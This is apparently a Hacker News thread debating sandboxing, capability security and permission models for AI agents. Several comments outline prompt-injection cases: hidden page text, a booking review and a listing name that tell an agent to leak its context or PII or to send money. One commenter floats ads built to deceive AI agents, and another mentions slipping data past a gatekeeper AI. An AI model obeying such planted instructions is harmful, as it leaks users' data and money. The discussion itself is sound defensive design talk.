Yes. Are they proposing a virtual machine execution engine? Docker for LLMs? Or what? This looks like some kind of packaging thing.
Badly designed packaging systems are a curse. Look at how many Python has gone through.
"Like dude, a JVM for AIs!" - it reads like that.
Yes by their definition the current AI agents are running in VM already. e.g. MCP host could prompt the user for executing something and we can also have rules like in claude code to automatically allow some pattern of command.
That is the wrong abstraction to think at. The problem is not _which_ tools you give the LLM, the problem is what action it can do.
For example, in the book-a-ticket scenario - I want it to be able to check a few websites to compare prices, and I want it to be able to pay for me.
I don't want it to decide to send me to a 37 hour trip with three stops because it is 3$ cheaper.
Alternatively, I want to be able to lookup my benefits status, but the LLM should physically not be able to provide me any details about the benefits status of my coworkers.
That is the _same_ tool cool, but in a different scope.
For that matter, if I'm in HR - I _should_ be able to look at the benefits status of employees that I am responsible for, of course, but that creates an audit log, etc.
In other words, it isn't the action that matters, but what is the intent.
LLM should be placed in the same box as the user it is acting on-behalf-of.
What you're speaking of is basically the capability security model [1], where you must explicitly pass into your software agent the capabilities that they are allowed to access, and there is physically no mechanism for them to do anything not on that list.
Unfortunately, no mainstream OS actually implements the capability model, despite some prominent research attempts [2], some half-hearted attempts at commercializing the concept that have largely failed in the marketplace [3], and some attempts to bolt capability-based security on top of other OSes that have also largely failed in the marketplace [4]. So the closest thing to capability-based security that is actually widely available in the computing world is a virtual machine, where you place only the tools that provide the specific capabilities you want to offer in the VM. This is quite imperfect - many of these tools are a lot more general than true capabilities should be - but again, modern software is not built on the principle of least privilege because software that is tends to fail in the marketplace.
[1] https://en.wikipedia.org/wiki/Capability-based_security
[2] https://en.wikipedia.org/wiki/EROS_(microkernel)
[3] https://fuchsia.dev/
[4] https://sandstorm.io/
> modern software is not built on the principle of least privilege because software that is tends to fail in the marketplace.
Fingers crossed that this is going to change now that there is increased demand due to AI workflows.
I'm hoping, but not particularly optimistic.
The dynamic that led to the Principle of Least Privilege failing in the market is that new technological innovations tend to succeed only when they enter new virgin territory that isn't already computerized, not when they're an incremental improvement over existing computer systems. And which markets will be successful tends to be very unpredictable. When you have those conditions, where new markets exist but are hard to find, the easiest way to expand into them is to let your software platforms do the greatest variety of things, and then expose that functionality to the widest array of developers possible in hopes that some of them will see a use you didn't think of. In other words, the opposite of the Principle of Least Privilege.
This dynamic hasn't really changed with AI. If anything, it's accelerated. The AI boom kicked off when Sam Altman decided to just release ChatGPT to the general public without knowing exactly what it was for or building a fully-baked idea. There's going to be a lot of security misses in the process, some possibly catastrophic.
IMHO the best shot that any capability-based software system has for success is to build out simplified versions of the most common consumer use-cases, and then wait for society to collapse. Because there's a fairly high likelihood of that, where the security vulnerabilities in existing software just allow a catastrophic compromise of the institutions of modern life, and a wholly new infrastructure becomes needed, and at that point you can point out exactly how we got this point and how to ensure it never happens again. On a small scale, there's historical precedence for this: a lot of the reason webapps took off in the early 2000s was because there was just a huge proliferation of worms and viruses targeting MS OSes in the late 90s and early 2000s, and it got to the point where consumers would only use webapps because they couldn't be confident that random software downloaded off the Internet wouldn't steal their credit card numbers.
Sometimes better ideas can be around for a really long time before they gain any mainstream traction. Some ideas which come to mind are anonymous functions and sum types with pattern matching, which are only recently finding their way into mainstream languages, despite having been around for ages.
What it might take is a dedicated effort over time by a group of believers, to keep the ideas alive and create new attempts, new projects regularly. So that when there is a mainstream opening, there is the knownhow to implement them.
I always include a lecture or two in my software security course (150 students per year), on capability based security. I am also on the lookout for projects which could use the ideas, but so far I have only vague ideas that they could be combined with algebraic effects in some way in functional programming.
I'm going to be pedantic and note that iOS and Android both have the capability security model for their apps.
And totally agree that instead of reinventing the wheel here, we should just lift from how operating systems work, for two reasons:
1. there's a bunch of work and proven systems there already
2. it uses tools that exist in training data, instead of net new tools
App permissions in iOS and Android are both too coarse-grained to really be considered capabilities. Capabilities (at least as they exist in something like Eros or Capsicum) are more "You have access to this specific file" or "You can make connections to this specific server" rather than "You have access to files" and "You have access to the network". The file descriptor is passed in externally from a privileged process where the user explicitly decides what rights to give the process; there is no open() or connect() syscall available to user programs.
This seems neat in theory but it is very difficult to actually do in practice. For example, let's say that you are allowed to make connections to a specific server. First, you have to get everyone onboard with isolating their code at that granularity, which requires a major rewrite that is easy to short-circuit by just being lazy and allowing overly broad permissions. But even then "a server" is hard to judge. Do you look at eTLD+1 (and ship PSL)? Do you look at IP (and find out that everything is actually Cloudflare)? Do you distinguish between an app that talks to the Gmail API, and one that is trying to reach Firebase for analytics? It's a hard problem. Most OSes do have some sort of capabilities as you've mentioned but the difficulty is not making them super fine-grained but actually designing them in a way that they have meaning.
One can sort of get there today combining something like attribute based access control, signed bearer tokens with attributes, and some sort of a degrees-of-delegability limiter that a bearer can pass along like a packet TTL.
Did you want it in rust?
- https://github.com/eclipse-biscuit/biscuit-rust
- https://www.biscuitsec.org/
How would that even work when the web is basically one big black box to the OS? Most of the stuff that matters to most consumers is on the web now anyway. I don't see how 'capabilities' would even work within the context of a user-agent LLM
You'd have to rewrite most of the software used in modern life. Most of it is conceptually not built with a capability security model in mind. Instead of providing the LLM with access to your banking app, you need a new banking app that is built to provide access to your account and only your account, and additionally also offers a bunch of new controls like being able to set a budget for an operation and restrict the set of allowable payees to an allowlist. Instead of the app being "Log into Wells Fargo and send a payment with Zelle", the app becomes "Pay my babysitter no more than $200", and then the LLM is allowed to access that as part of its overall task scheduling.
This is a major reason why capability security has failed in the marketplace.
I'm building this for AI devices [1]. It's my YC F2025 submission.
[1] https://uni-ai.com
The problem is not just what actions the tool can do, but the combination of actions and data it has access to. This is important because we can't guarantee what an LLM is going to do - they need to be untrusted, not trusted as much as the users.
In this example, I might want an LLM instance to be able to talk to booking websites, but not send them my SSN and bank account info.
So there's a data provenance and privilege problem here. The more sensitive data a task has access too, the more restricted its actions need to be, and vice-versa. So data needs to carry permission information with it, and a mediator needs to restrict either data or actions that tasks have as they are spawned.
There's a whole set of things that need to be done at the mediator level to allow for parent tasks to safely spawn different-privileged child tasks - eg, the trip planner task spawns a child task to find tickets (higher network access) but the mediator ensures the child only has access to low-sensitive data like a portion of the itinerary, and not PII.
Yeah, you basically have to think of an agent as malicious, that it will do everything in its power to exfiltrate everything you give it access to, delete or encrypt your hard drive, change all your passwords, drain your bank accounts, etc. A VM or traditional permissions doesn't really buy you anything because I can create a hotel booking page that has invisible text requesting AIs to dump their context into the Notes field, or whatever.
In that light, it's kind of hard to imagine any of this ever working. Given the choice between figuring out exactly how to set up permissions so that I can hire a malicious individual to book my trip, and just booking it myself, I know which one I'd choose.
The issue with today's model is that we give away trust far too easily even when we do things ourselves. Lots of websites get some very sensitive combination of data and permissions and we just trust them.
It's very coarse grained and it's kind of surprising that bad things don't happen more often.
It's also very limiting: very large organizations have enough at stake to generally try to deserve that trust. But most savvy people wouldn't trust all their financial information to Bob's Online Tax Prep.
But what if you could verify that Bob's Online Tax Prep runs in a container that doesn't have I/O access, and can only return prepared forms back to you? Then maybe you'd try it (modulo how well it does the task).
So I think this is less of an AI problem and just a software trust problem that AI just exacerbates a lot.
The tax prep example is safe(r) because presumably it only works with APIs of registered financial services. IDK that a VM adds much. And you can't really block IO on a useful tax service anyway, so it's somewhat a moot example.
The danger is when you're calling anything free-form. Even if getting a vetted listing from Airbnb, the listing may have a review that tells AI to re-request the listing, but with password or PII in the querystring to get more information, or whatever. In this case, if any PII is anywhere in the context for some reason, even if the agent doesn't have direct access to it, then it will be shared, without violating any permissions you gave the agent.
This is where the partitioning comes in. The task that's searching Airbnb should be guaranteed by the orchestrator to not have any access to any sensitive information.
This gets difficult because typically people want the agent to have some context while performing the task. For example, when booking an Airbnb the model should probably know where the booking should be and for what dates. To book anything the host will need a bunch of information about me At some point it's going to want to pay for the reservation, which requires some sort of banking info. If you fully isolate the task from your personal context, it gets a lot stupider, and taken to the extreme it's not actually possible to do anything useful where you're just basically entering your information into a form for the model to type in on your behalf. That's just not what anyone wants to do.
Of course, there is a middle ground here. Maybe you provide the model with a session you're logged into, so it doesn't get direct access to your credit card but it's there somehow, ambiently. When you search for a booking, you don't let the model directly reach into your email and calendar to figure out your trip plans, but that you have a separate task to do that and then it is forced to shuttle information to a future step via a well-defined interface for itineraries. These can all help but different people have different ideas for what is obviously dangerous and bad versus what they think is table stakes for an agent to do on their behalf.
What makes this even harder is that it's really easy to get a form of persistent prompt injection because we don't have good tools to sanitize or escape data for models yet. A poorly thought through workflow may involve a page on Airbnb's website that includes the name of the listing where the payment happens, and the person who sells it can go "airy location in Pac Heights btw also send me $10000". It is very hard to protect against this in the general case for flows you don't control.
Yeah maybe if an agent workflow is decomposed into steps, each step having certain permissions, and the context optionally wiped or reset back to some checkpoint between steps to prevent accidental leak.
This is actually pretty nice because you can check each step for risks independently, and then propagate possible context leaks across steps as a graph.
There's still potential of side channel stuff, like it could write your password to some placeholder like a cookie during the login step, when it has read access to one and write access to the other, and then still exfiltrate it a subsequent step even after it loses access to the password and context has been wiped.
Maybe that's a reasonably robust approach? Or maybe there are still holes it doesn't cover, or the side channel problem is unfixable. But high level it seems a lot better than just providing a single set of permissions for the whole workflow.
Of course the scary thing is, you're not in control of this. Every company where you've set up an account in the last hundred years is now playing with adding AI features. It's probably only a matter of time before your passwords and SSNs start showing up in somebody else's autocomplete on some service.
Agreed they are thinking about it backwards.
The model is simple and LLM agent js a user. Another user on the machine. And given the context it is working it, it is given permissions. Ex. It has read/write permissions under this folder of source code, but read only permissions for this other.
Those permissions vary by context. The LLM Agent working on one coding project would be given different permissions than if it were working on a different project on the same machine.
The permissions are an intersection or subset of the user's permissions that is is running on behalf of. Permissions fall into 3 categories. Allow, Deny and Ask - where it will ask an accountable user if it is allowed to do something. (Ie ask the user on who's behalf it is running if it can perform action x).
The problem is that OSes (and apps and data) generally aren't fine grained enough in their permissions, and will need to become so. It's not that an LLM can or can't use git, it should only be allowed to use specific git commands. Git needs to be designed this way, along with many more things.
As a result we get apps trying to re-create this model in user land and using a hodge-podge of regexes and things to do so.
The workflow is: similar to sudo I launch and app as my LLM Agent user. It inherits its default permissions. I give it a context to work in, it is granted and/or denied permissions due to being in that context.
I make requests and it works on my behalf doing what I permit it to do, and it never can do more than what I'm allowed to do.
Instead now every agentic app needs to rebuild this workflow or risk rogue agents. It needs to be an OS service.
The hacky stepping stone in betwern is to create a temporary user per agent context/usage. Grant that user perms and communicate only over IPC / network to the local LLM running as this user. Though you'll be spinning up and deleting a lot of user accounts in the process.
I doubt this will ever be.
Even if the LLM is capable of it, websites will find some method to detect an LLM, and up the pricing. Or mess with its decision tree.
Come to think of it, with all the stuff on the cusp, there's going to be an LLM API. After all, it's beyond dumb to spent time making websites for humans to view, then making an LLM spend power, time, and so on in decoding that back to a simple DB lookup.
I'm astonished there isn't an 'rss + json' API anyone can use, without all the crap. Hell, BBS text interfaces from the 70s/80s, or SMS menu systems from early phone era are far superior to a webpage for an LLM.
Just data, and choice.
And why even serve an ad to an LLM. The only ad to serve to an LLM, is one to try to trick it, mess with it. Ads are bad enough, but to be of use when an LLM hits a site, you need to make it far more malign. Trick the LLM into thinking the ad is what it is looking for.
EG, search for a flight, the ad tricks the LLM into thinking it got the best deal.
Otherwise of what use is an ad? The LLM is just going to ignore ads, and perform a simple task.
If all websites had RSS, and all transactional websites had a standard API, we'd already be able to use existing models to do things. It'd just be dealing with raw data.
edit: actually, hilarious. Why not? AI is super simple to trick, at least at this stage. An ad company specifically tailoring AI would be awesome. You could divert them to your website, trick them into picking your deal, have them report to their owner that your company was the best, and more.
Super simple to do, too. Hmm.
> I don't want it to decide to send me to a 37 hour trip with three stops because it is 3$ cheaper.
This sounds hard; as in: if you can define and enforce what a good enough response from an LLM looks like, you don't really need the LLM
> what is the intent.
For the HR person you have a human with intents you can ask; for an LLMs it's harder as they don't have intents
Agreed. This is the basis of contextual security. I made a demo a while ago implementing a security paper about this https://studio.youtube.com/video/inncx8_4tXU/edit
Just use Kiwi.com yourself - it’ll be quicker.
I don't think your benefit example is too much a problem in practice, we already have the access setup for that (ie its the same one for you).
For the other example, I think a nice compromise is to have the AI be able to do things only with your express permission. In your example it finds flights that it thinks are appropriate, sends you a notification with the list and you can then press a simple yes/no/more information button. It would still save you a ton of money, but it would be substantially less likely to do something dangerous/damaging.
I know this is just an example but why shouldn't employee compensation and benefits be visible to coworkers?
If the knowledge is one-sided, then so is the ability to negotiate. This benefits nobody except the company which already had an advantageous position in negotiations.
“Benefits” info may include protected health info depending on the breadth. Like how much of your deductible you’ve used and how you answered the annual “do you smoke” question.
What benefits an employee is _eligible_ for - sure, no problem with that being public. What they chose and how they’re using them should be protected.
(Imagine finding out a coworker you thought was single is on the spouse+benefits plan!)
> Imagine finding out a coworker you thought was single is on the spouse+benefits plan!)
This would cause me to.... do a double take?
Privacy
A million years ago in AI time, AKA yesterday, there was a HN post from John Carmack talking about how Meta wasted a ton of time and money making XROS and how nowadays it doesn’t make any sense to write a new OS [1].
And then this post today which makes a very strong case for it. (Yes, a VM isn’t an entire OS, Yes, it would be lighter weight than a complete OS. Yes, it would be industry-wide. Yes, we’d likely use an existing OS or codebase to start. Yes, nuance.)
[1] https://news.ycombinator.com/item?id=45066395
Two completely different things. And you knew they're completely unrelated but still forced the comparison for unknown reason...
> And then this post today which makes a very strong case for it
After reading this post I saw nothing making a very strong case for a VM, let alone a new OS. They just want access controls.
Yes. It’s just access controls. When people advocate for greater separation I remind them that separation is just one part of the cycle:
https://xkcd.com/2044/
We’re in the “connect everything” phase (MCP), and are about to enter into the “wow that’s a mess” phase
I think the main difference is that sandboxing and simplifying the LLM's access to tools and data tends to be core functionality, whereas for XR it is more about performance and developer experience.
I'm going to put a lot of work in anyway to keep the LLM from accidentally overwriting the code running it or messing with customer data incorrectly or not being overwhelmed with implementation details; having a standard for this makes it much easier and lets me rely on other people's model training.
If it's merely that I have to train a dev on an XR SDK, I can pay them a salary or encourage schools to teach it. AI needs an team for an R&D project and compute time, which can get a lot more expensive at the high end.
WebAssembly with its sandboxing-by-default paradigm is pretty much halfway there, just need a well defined interface to transfer data and access rights between instances, and creating new instances from others.
https://microsoft.github.io/wassette/ does just this, using wasi components.
That's what WASI components already are.
This is a technical solution to a social problem
This is NOT (just) a social problem! See: supply chain attacks and https://en.wikipedia.org/wiki/Confused_deputy_problem
No number of signature schemes and trust networks will be able to prevent the effects of actual misuse of security breaches and problems arising from programming errors, only a technical solution can!
It's stupid to rely on trust when one doesn't have to, to grant programs, imported modules or even individual functions more permissions than they need. Technical systems should give the best guarantees they can, and not risk the security of the entire system by default just because something failed at the social layer, or some component somewhere in the system misused (perhaps even by accident!) its https://en.wikipedia.org/wiki/Ambient_authority
The attack surface of even individual programs can, and therefore SHOULD be minimizable. It's just that contemporary popular programming languages do not give programmers any methods (high level or even primitive) to achieve interior compartmentalization and utilize https://en.wikipedia.org/wiki/Capability-based_security in order to implement the https://en.wikipedia.org/wiki/Principle_of_least_privilege
A program does what it does, and it always potentially could do everything it is allowed to. Especially at scale, when you use code from thousands of developers, along the depth and breadth of your tech stack, social trust doesn't scale. Reifying and making explicit the access rights the components of a program have does. Then, ill effects are limited to the rights that have been explicitly given, and the effects of the results that are further processed by other components of the program.
Social assurances are practically worthless because they may be misinterpreted, bypassed, subverted or coerced. Technical guarantees instead can be formalized and verifiable.
This article does not make a case for writing a new operating system. Building an execution environment for an AI to operate in is completely different from creating a new operating system from scratch designed to be optimized for an AI use case.
The concept that LLMs will need to have strong isolation and that this is done with the same sort of diligence normally applied to virtual machine design makes a ton of sense. It's exactly the same reason we enforce such behaviours in operating systems.
I took a first pass at enumerating some ideas a few weeks ago: https://davehudson.io/blog/2025-08-11
My thought was to try and define this in a slightly more concrete way by thinking about analogies between the way LLMs operate and more conventional OS processes/tasks.
Building some of the core abstractions isn't too hard - I already have one that unifies the chat and tool use interfaces for 8 different LLM backends. That lets tool approvals be managed in a centralized way. I've not yet implemented a capabilities model but it feels natural, and I worked with one back in the 90s (VSTa if anyone is interested in historical OSes). A key part will be to allow one LLM to delegate a subset of its current capabilities to another (I already built the delegation tooling)
After reading this more closely and following some of the links I think this post is really pointing to something more foundational than the "VM for AI" summary implies.
The VM analogy is simply insufficient for securing LLM workflows where you can't trust the LLM to do what you told it to with potentially sensitive data. You may have a top-level workflow that needs access to both sensitive operations (network access) and sensitive data (PII, credentials), and an LLM that's susceptible to prompt injection attacks and general correctness and alignment problems. You can't just run the LLM calls in a VM with access to both sensitive operations and data.
You need to partition the workflow, subtasks, operations, and data so that most subtasks have a very limited view of the world, and use information-flow to track data provenance. The hopefully much smaller subset of subtasks that need both sensitive operations and data will then need to be highly trusted and reviewed.
This post does touch on that though. The really critical bit, IMO, is the "Secure Orchestrators" part, and the FIDES paper, "Securing AI Agents with Information-Flow Control" [1].
The "VM" bit is running some task in a highly restricted container that only has access to the capabilities and data given to it. The "orchestrator" then becomes the critical piece that spawns these containers, gives them the appropriate capabilities, and labels the data they produce correctly (taint-tracking: data derived from sensitive data is sensitive, etc.).
They seem on the right track to me, and I know others working in this area who would agree. I think they need a better hook than "VMs for AI" though. Maybe "partitioning" or "isolation" and emphasize the data part somehow.
[1]: https://arxiv.org/pdf/2505.23643
Sounds like https://microsoft.github.io/wassette/
"Workflow" is the aspect we should try to eliminate, and a LLM+VM combo allows you to do that. Workflow means you provide tools to the LLM, and ask to make use of them to achieve the goal. This works well already, but it fails whenever an unusual problem appears that is not covered by your predefined set of tools. Another issue is that the workflow based approach is always linear even if it is a DAG, or even if you have some kind of loop.
The next step is to not provide any tools to the LLM, and ask it to invent them on-the-fly. Some problems need to be brute-forced.
It feels like I'm getting more jaded everyday because the moment I started reading this article I was convinced it was written by an AI.
From a hosting perspective which the article talks about I would worry more about just keeping the AI agent functional/alive in a whatever environment a big challenge, using AI a great but stability in any basically use-case has been rough for me personally.
From a developer perspective I've been using devcontainers with rootless docker via wsl and while I'm sure there's some malware that can bypass that (where this VM approach would be a lot stronger) I feel a lot safer this way than running things on the host OS. Furthermore you get the same benefits like reproducibility and separation of concerns and whenever the AI screws something up in your environment you can simply rebuild the container.
If you look at how the most advanced commercial models are deployed they already have much of this, including isolation. This post is essentially sketching much of what I know already exists. Not in the literal OS sense, but in terms of all of the features suggested. It still isn’t enough. Agents need powerful access to things you care about to do their job. Granting them just enough permissions on the things you care about is much harder than containing the LLM, and that is already difficult. The right model for LLM security is an untrusted userspace, not an entire “OS”.
Untrusted userspace is exactly right. I’d expect these approaches to help on the margin but the authors oversell their point using words like “guarantee.”
Control tool access like OSes enforce file permissions: I understand it’s a metaphor, but also isn’t the track record of OSes here pretty bad?
Check whether the agent is allowed to use the booking tool: so a web browser? Isn’t a browser a pretty powerful general-purpose tool, which by the way could also expose the agent to, like, a jailbreak?
> As such, security researchers have to devise new mitigations to prevent AI models taking adversarial actions even with the virtual machine constraints.
An understated reminder that yes, we really ought to solve alignment.
I don't see the case for, what IMO is, more complexity by creating a virtual machine.
We have user accounts, Read/Write/Exec for User/Groups. Read can grant access tokens which solves temporary+remote requirements. Every other capabilities model can be defined in those terms.
I'd much rather see a simplification of the tools already available, then re-inventing another abstract machine / protocol.
I hope we'll eventually get a fundamental shift in the approach to software as a whole. Currently, everybody is still experimenting with building more new stuff, but it is also a great opportunity to re-evaluate and, at acceptable cost, try to strip out all the cruft and reduce something to its simplest form.
For example - I found an MCP server I liked. Told Claude to remove all the mcp stuff and put it into a CLI. Now I can just call that tool (without paying the context cost). Took me 10 minutes. I doubt, Claude is smart enough to build it back in without heavy guidance.
In general the security model of desktop operating systems is woefully inadequate for the modern era. Given the sheer volume of software known to do things not in the user’s best interest it’s borderline insanity that we hand it the keys to the kingdom without so much as a second thought with such frequency.
Of course if the user truly desires a zero-guardrail experience they should be able to get that, but it probably shouldn’t be the default. Software should be on a very short leash until the user has indicated trust, and even then privileges should be granted only on a per-domain basis. A program designed to visually represent disk usage will need full filesystem access for example, but there’s no reason it should be able to sniff around on my local network (or on platforms where package managers handle updates, connect to the internet at all).
> In general the security model of desktop operating systems is woefully inadequate for the modern era. Given the sheer volume of software known to do things not in the user’s best interest it’s borderline insanity that we hand it the keys to the kingdom without so much as a second thought with such frequency.
This. It must be the problem of having grown up with it that makes people not realize it.
Software will need to operate like people in the real world. You can give your friend power of attorney, but usually you don't, you find a better way to get things done.
Exactly. It’s not so different from how popular desktop operating systems used to be single-user, which turned out to be a security nightmare, and so shifted to a multi-user design. It’s time for the next evolution.
Virtual machines contain the blast radius. A good agent will be able to take advantage of zero days from within your system to crack you no problem, being a user makes this really easy. You'd have to carefully firewall its knowledge, but there are so many ways to get stuff on the internet (i.e. ask to download an encrypted version of the file in an obfuscated way from a service that can get past the gatekeeper AI). These things are going to be scary good at cracking systems, trust me, you are going to want things to be ironclad.
There's no such thing as a temporary read in LLM land though. Once it's in context, you have to assume everything else connected to the agent will be able to exfiltrate it until the agent is killed and the context wiped.
Note, this is the case whether running in VM or not, so I agree that VM is not a security solution.
I’m with you for the most part. A lot of, but certainly not all or the security risks are present regardless of whether or not you’re in a VM.
I think defense in depth will eventually matter more, but there are a LOT of low-hanging fruit for attackers right now when it comes to turning AI agents against their users, which is what I think you’re alluding to!
Once you have a tool to edit files, you pretty much lose all security.
Fuchsia seems like a potentially practical OS for constraining the operations of AI models. As an object capability operating system, each component (and hence the process that one is instantiated in) has access only to the capabilities that it is explicitly granted.
I absolutely agree in spirit, and I love Fuchsia's design because of this, but I didn't see it happening.
Rather than requiring a new OS, I think a Fuchsia-like system based on WASM and WASI components, that can be hosted from the cloud to the phone, is likely the way this goes.
When you use ChatGPT and it executes code, i.e. when you tell it to do something with a CSV file, it seems to run in a VM with certain tools and libraries available to it, and a sandboxed disk access; no internet access though. So it's kind of already there.
That’s also how Devin works, and OpenHands.
The agent running in a VM - at least by default - was a key feature during the AI pilot I ran a few months ago.
It runs in Kubernetes, on AKS (Azure Kubernetes) with some gvisor stuff. Though Jupyter if i recall.
`to=python.exec` is how it runs python code, and `to=container.exec` is how it runs bash commands, with attached files showing up in `/many/data`. Unfortunately the stdout is heavily truncated prior to being shown to the model so it's not a hack for longer context via printing file attachment's contents.
Not really.
Now imagine you run two AIs (like ChatGPT) on your machine or on a server. You maybe even want them to cooperate on something. How do you do that? Right, you cannot, there is no standard, no interoperability, nothing.
Basically, this is about implementing core AI primitives (chat completion, tool calling, context management) at the system layer, instead of the application or framework layer like it is today.
If you're curious to see one real-life implementation of this (I'm sure there are others), we're pretty far along in doing this with Dagger:
- We already had system primitives for running functions in a sandboxed runtime
- We added the ability for functions to 1) prompt LLMs, and 2) pass other functions to the LLMs as callbacks.
- This way, a function can call LLMs, a LLM can call functions, in any permutation.
- This allows exploring the full spectrum from fully deterministic workflows, to autonomous agents, and everything in between - without locking yourself in a particular programming language, library or framework.
- We've also experimented with passing objects to the LLM, and mapping each of the object's methods to a tool call. This opens interesting possibilities, since the objects can carry state - effectively extending the LLM's context from text only, to arbitrary structured data, without additional dependencies like complex databases etc.
Relevant documentation page: https://docs.dagger.io/features/llm
If you're interested in running agents (specifically for software dev) inside a sandbox, OpenHands [1] runs in Docker by default, and can run on Kubernetes or on a raw VM. It gets access to the standard tools (e.g. file ops, bash) as well as a web browser and a Jupyter notebook.
[1] https://github.com/All-Hands-AI/OpenHands
I have nothing but good things to say about OpenHands . I’ve been using it daily for months now - some local, some CLI, some cloud-based - and while it’s not quite as polished as Devin, it’s as capable and is growing fast.
All Hands is incredibly friendly and responsive to feedback as well, and that means a lot.
I doubt how much its good but I really like playing with kvmserver by fwsgonzo who is a coder that I compare in the likes with bellard. https://github.com/libriscv/kvmserver
AI agents don't need a virtual machine, the play is to do an inversion of control. AI dispatches intents to a queue, and executors map intents to actions with whitelists and static analysis.
Very wrong headed. If all of the routers and checks worked: you could transmit pure noise into them and get safe useful actions at some rate. I.e.: the check system as least as hard as the original problem.
I agree that it seems like an extraordinarily difficult problem, but I don't find this particular dismissal convincing. It's much easier to reject something potentially unsafe than it is to generate something safe. That's the basis for all sound type systems and scales to extremely sophisticated types (e.g. it is fairly to define the type representing the Collatz Conjecture, and I think most people would agree that it is perhaps slightly more difficult to find an inhabitant of that type).
In this case, I don't even know if we're in the paradigm of "hard to satisfy types"--a lot of the time you can for example probably use an autobooking feature to get something you'd be okay with as a backup, but since you know it is suboptimal you still want to try to do better if possible. There are also plenty of real world control systems which perform fairly involved calculations, but still perform some basic sanity limits checks on the inputs and outputs to make sure that if the calculations screwed up, things don't fail catastrophically. In such cases the limits are much easier to define than a spec for how the whole thing works.
You don't need a VM for your agent, just a separate user account is plenty.
I'm not reading a article on a web site that hijacks scroll.
Yes, I found that very ironic and annoying.
VMs are missing the point here. Yes, you don't want a rogue MCP that lets the model exfiltrate random data from the disk. But in general we are tending towards a world where AI agents are allowed to do everything that people can do.
Really, what you should be looking at is that you've hired a potentially malicious person to do something on your behalf. Obviously if you don't give them access to your tax documents, they can't read your tax documents. But the kinds of tasks you will want this agent to do at some point are to manage your calendar, read your email, perhaps even summarize your finances. There's no VM that somehow patches the Wells Fargo site to only give you your bank statements and not let you send money to people. The idea of trying to "sandbox" this barely even makes sense because we haven't historically tried to isolate this kind of operation. But, as people keep putting models in new places, it's evident that something like that will have to evolve here. And it's definitely not going to be Qubes, or the JVM, or WebAssembly, or the dozen other things that people have been suggesting as solutions to the problem.
I think containers provide virtually everything this argues for and don't require any especially new or different technology. Perhaps some more granular features to help with isolation and harden up the security but this is just surface layer things.
What problem do they want to solve?
From a security perspective, the real problem seems to me that LLMs cannot distinguish between instructions and data; I don't see how this proposal even attempts to address this, but then I haven't really understood their problem description (if there was one).
I know this is not really what they mean, but in case you want to give AI a literal VM, I have a service that deploys a VM with an open source AI agent on it that can act as a sysadmin. Also gets it's own IP address. https://mindroot.io
No, they do not need one. The article paints VM as a very broad definition, mostly revolving around permissions for accessing things or executing actions.
If only we had examples of lightweight, embeddable, portable, simple-bytecode-driven virtual machines.
It's just too bad tcl, lua, forth, js, wasm, etc just aren't AI-scale.
Since I'm interested in local, small-use [1] cases of AI, what about the byte code VMs is not AI-scale? And what is AI-scale?
[1] I'm looking at single-person/small office LLMs to do simple jobs: summarize these pdfs, structure this data, help drafting a document, that sort of thing, not a be-all end-all monster. Think of a bunch of highly intelligent Python scripts as opposed to Microsoft Office.
We need a modern and scalable solution! Also, it has to support emojis in variable names.
I would say we need a webassembly VM/runtime.
Does AI need a vm OR can AI emulate a vm all in one shot? I think the latter is going to happen.
I do believe it’s time for systems folks to take a hard look at building systems abstractions on top of LLMs as they did 50 years ago on top of CPUs. LLMs are the new universal computing machines, but we build with them like we built computers in the 1950s - one computer at a time.
This is the wrong take.
There's a point beyond which LLMs are an overkill, where a simple script or a "classic" program can outdo the LLM across speed, accuracy, scalability, price and more. LLMs aren't supposed to solve "universal computing". They are another tool in the toolbox, and it's all about using the right tool for the problem.
I shared your opinion for a while. But, that’s not what’s happening. People are using them for everything. When they do, expectations are set. Vendors will adjust and so will the rest of the industry. It’s happening.
> People are using them [LLMs] for everything
Yeah and when I was in college, StackOverflow was full of questions like “how do I add 2 numbers with jQuery”. This is normal. The newbies don’t know what they’re doing and with time they will get enough hard knocks to learn. We’ve all gone through this and still are in areas that are new to us.
LLMs aren’t gonna solve the fundamentals: Seniors still gotta senior and newbies still gotta learn.
At the risk of being blunt, this comment reads like someone in the throes of religious euphoria. It makes no sense to call LLMs "the new universal computing machines". Please take a step back and reevaluate the media bubbles you're pickling your brain in.
There was a time when everybody did arithmetic by hand and "calculator" was a profession. There was a time when spreadsheets were made with ink and paper. There was a time when all programs were written in assembly.
Now, most arithmetic is done by computers, spreadsheets are done by computers, and almost all assembly language is written by computers. People have moved on to higher level programming languages for communicating ideas to computers. Would it really be that surprising to learn that in the future people use natural language to speak with computers?
The company I work for went through a big AI push about a month ago. Before then, almost no code was written by AI. Now, it's the majority of code. I'm not saying that AI coders will be able to replace people, because the AI honestly is just not as capable - if it were interviewing for my company, I would not hire it. But the thing is that I can go from design doc to prototype using less than a day and $10 of tokens. Sure I have to make corrections and rewrite some of the more fiddly bits, but it saves me a ton of typing.
And LLMs are not limited to programming. Any computer-based task that you would allow an unpaid intern to complete for you would be a reasonable fit for AI.
Trust me. I’m usually the last to jump on a bandwagon. That said, this is not just my take, but the take of many others that I trust. Andrej Karpathy, Joseph Hellerstein, etc.
> People are using them for everything
Let’s see if that continues to be the case after some time. On a long enough timeline, that 100 line python script that is deterministic is going to beat the non deterministic llm.
They are a tool. They re not an omnitool.
If all you have is a hammer, everything looks like a screw.
The problem is not the tool, the problem are the people selling the hype, the people accepting the hype as it is and this "everyone" person who I keep on listening about, I wonder why his takes are often times wrong but he doesn't accept them...
People can be wrong, People are wrong in a lot of contexts, I don't think the world is efficient in this sense. We are emotional beings, sell us hype and we would accept it and run with it.
Agree on how it is not an omnitool. Why are we going towards an inferior product (AI for VMS??) when this doesn't make sense when we already have superior product (I think)
I guess somethings don't make sense and if everyone jumps in a well, most people would follow it (maybe including myself, if I didn't want to be contrarian in such sense, my knowledge is really limited regarding AI so all of the above statements can be wrong and hey I am wrong I usually am)
They're pretty close to being an omnitool. But like any tool you need to know how to use it.
Asking it to do some common task is probably silly when you should be asking it to write a program to do the common task (and add the program to its list of tools if it works).
We need fusion power plants as soon as possible because pretty soon it we will need to boil the oceans to write a Hello World in a hypothetical LLM VM, nevermind actually running the thing, which will require a Dyson Sphere at minimum
well Sam A said that is the plan
CPUs are deterministic! I think it’s going to be inherently limiting how far you can abstract above something non-deterministic.
Agree. The non-determinism is a problem. Perhaps systems thinking can help here. After all, traditional computer systems often behave non-deterministically and we’ve learned to make them more reliable.
Using LLMs for universal computing would be crazy inefficient. On top of that they aren't deterministic (at the moment) so building systems on top of that would be shaky
